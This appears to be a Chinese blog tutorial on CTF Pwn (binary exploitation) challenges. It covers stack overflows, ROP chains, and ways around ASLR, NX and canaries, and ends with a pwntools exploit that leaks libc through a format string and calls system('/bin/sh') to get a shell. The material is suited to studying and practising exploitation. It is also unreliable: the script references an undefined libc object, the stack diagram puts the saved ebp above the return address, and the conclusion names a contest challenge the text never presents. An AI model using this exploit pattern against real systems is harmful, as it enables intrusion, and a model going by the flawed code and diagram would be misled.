共计 2222 个字符，预计需要花费 6 分钟才能阅读完成。
背景：CTF Pwn 题入门指南
在 CTF(Capture The Flag)比赛中，Pwn 类别主要考察二进制漏洞利用能力。这类题目通常会给出一个存在漏洞的可执行程序，选手需要通过逆向分析找到漏洞点，并编写 Exploit（漏洞利用代码）来获取目标系统的控制权。
- 评分规则：通常根据漏洞利用的复杂度和完成速度评分，先完成者得分更高
- 常见漏洞类型 ：栈溢出(stack overflow)、堆溢出(heap overflow)、释放后使用(UAF, Use-After-Free)、格式化字符串漏洞(format string) 等
- 防护机制：现代系统常见的防护包括 NX(DEP)、ASLR、Canary 等
技术选型：静态分析与动态调试
静态分析工具
- IDA Pro：反汇编神器，支持多种架构，有强大的图形化界面和插件系统
- Ghidra：NSA 开源的反编译工具，对复杂代码结构的分析效果出众
优点：
– 可以全面了解程序逻辑
– 不受运行时环境影响
缺点：
– 对混淆代码效果有限
– 无法观察运行时内存状态
动态调试工具
- GDB配合 pwndbg 插件：Linux 下最常用的调试器
- pwntools：Python 编写的 CTF 框架，提供了开发 Exploit 的便捷接口
优点：
– 可以实时观察程序状态
– 方便测试 Exploit 的有效性
缺点：
– 需要运行环境
– 调试过程可能触发防护机制
漏洞识别与利用
识别漏洞类型
以典型的栈溢出漏洞为例，当程序存在不安全的输入函数（如 gets、scanf 等）时，就可能发生栈溢出。
void vulnerable_function() {char buffer[64];
gets(buffer); // 危险函数!
}通过 IDA 分析可以看到栈结构：
+-----------------+
| saved ebp | <- ebp
+-----------------+
| return address |
+-----------------+
| buffer[64] |
+-----------------+ROP 链构造原理
当 NX 保护开启时，栈上的代码不可执行，我们需要使用 ROP(Return-Oriented Programming)技术。
ROP 的核心思想是利用程序中已有的代码片段（gadget），通过精心构造的返回地址链来实现攻击目的。
数学原理：
- 在地址空间中找到一系列以 ret 结尾的指令片段
- 将这些 gadget 的地址按执行顺序排列在栈上
- 每个 ret 指令相当于一个状态转移函数
寄存器状态机模型：
[寄存器状态 1] -> gadget1 -> [寄存器状态 2] -> gadget2 -> ... -> 目标状态对抗内存防护
- 对抗 ASLR：通过内存泄露获取基地址
- 对抗 NX：使用 ROP 技术
- 对抗 Canary：要么泄露 Canary 值，要么绕过检测点
Exploit 编写实战
下面是一个完整的 pwntools exploit 示例：
from pwn import *
context(arch='i386', os='linux')
# 1. 启动进程或连接远程
p = process('./vulnerable_program')
# p = remote('127.0.0.1', 9999)
# 2. 泄露 libc 地址
p.recvuntil('input:')
p.sendline('%3$p')
libc_leak = int(p.recvline(), 16)
libc_base = libc_leak - 0x12345 # 根据实际偏移调整
# 3. 构造 ROP 链
rop = ROP('./vulnerable_program')
rop.call(libc_base + 0xabcde, [next(libc.search('/bin/sh\x00'))]) # system 地址
# 4. 构造 payload
payload = flat(
b'A'*72, # 填充到返回地址
rop.chain())
# 5. 发送 payload
p.sendline(payload)
# 6. 获取 shell
p.interactive()关键点注释：
%3$p：格式化字符串漏洞利用，泄露栈上第 3 个参数flat()：pwntools 提供的便捷函数，用于构造平坦化的 payloadROP()：自动构建 ROP 链的工具类
避坑指南
环境差异处理
- 本地测试通过但远程失败时，检查：
- libc 版本是否一致
- 系统调用号是否相同
-
网络延迟是否影响交互时序
-
使用
context.log_level = 'debug'开启详细日志
堆布局控制
- 通过大量分配 / 释放操作来 ” 塑形 ” 堆布局
- 使用确定性分配策略（如固定大小的 malloc）
- 利用堆喷 (heap spraying) 技术提高成功率
对抗随机化
- 部分覆盖指针的最低字节（针对 ASLR）
- 多次尝试爆破（适用于低熵环境）
- 利用信息泄露获取关键地址
进阶思考
- 如何自动化识别敏感函数调用？
- 可以编写 IDA 脚本扫描危险函数（如 gets、strcpy 等）
-
使用动态插桩技术监控函数调用
-
当遇到 seccomp 沙箱时如何调整攻击面？
- 首先分析允许的系统调用
-
寻找受限环境下的其他利用方式（如文件操作）
-
怎样验证 exploit 的成功概率？
- 统计多次运行的成功率
- 分析失败案例的共性
- 考虑最坏情况下的 fallback 方案
总结
通过这道第五空间大赛的 Pwn 题，我们系统性地学习了二进制漏洞利用的完整流程。从静态分析到动态调试，从漏洞识别到 Exploit 编写，每一步都需要耐心和技巧。建议初学者从简单的栈溢出开始，逐步掌握更复杂的漏洞类型和利用技术。二进制安全是一个需要不断实践的领域，希望这篇文章能为你的学习之路提供一些帮助。
